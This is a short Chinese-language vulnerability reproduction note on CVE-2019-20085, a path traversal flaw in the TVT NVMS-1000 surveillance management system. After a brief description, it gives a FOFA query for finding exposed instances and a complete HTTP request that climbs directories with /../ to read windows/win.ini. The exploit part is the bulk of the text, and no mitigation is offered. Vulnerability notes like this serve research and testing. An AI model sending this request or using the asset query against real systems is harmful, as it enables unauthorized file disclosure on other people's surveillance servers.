TVT数码科技 NVMS-1000 路径遍历漏洞(CVE-2019-20085)¶

一、漏洞简介¶

TVT数码科技 TVT NVMS-1000是中国TVT数码科技公司的一套网络监控视频管理系统。 TVT数码科技 TVT NVMS-1000中存在路径遍历漏洞。远程攻击者可通过发送包含/../的特制URL请求利用该漏洞查看系统上的任意文件。

二、影响版本¶

TVT NVMS-1000

三、资产测绘¶

fofaapp="TVT-NVMS-1000"
特征

四、漏洞复现¶

GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: dataPort=6063
Upgrade-Insecure-Requests: 1

更新: 2024-02-29 23:57:13
原文: https://www.yuque.com/xiaokp7/ocvun2/rpuprdcoqll62nfc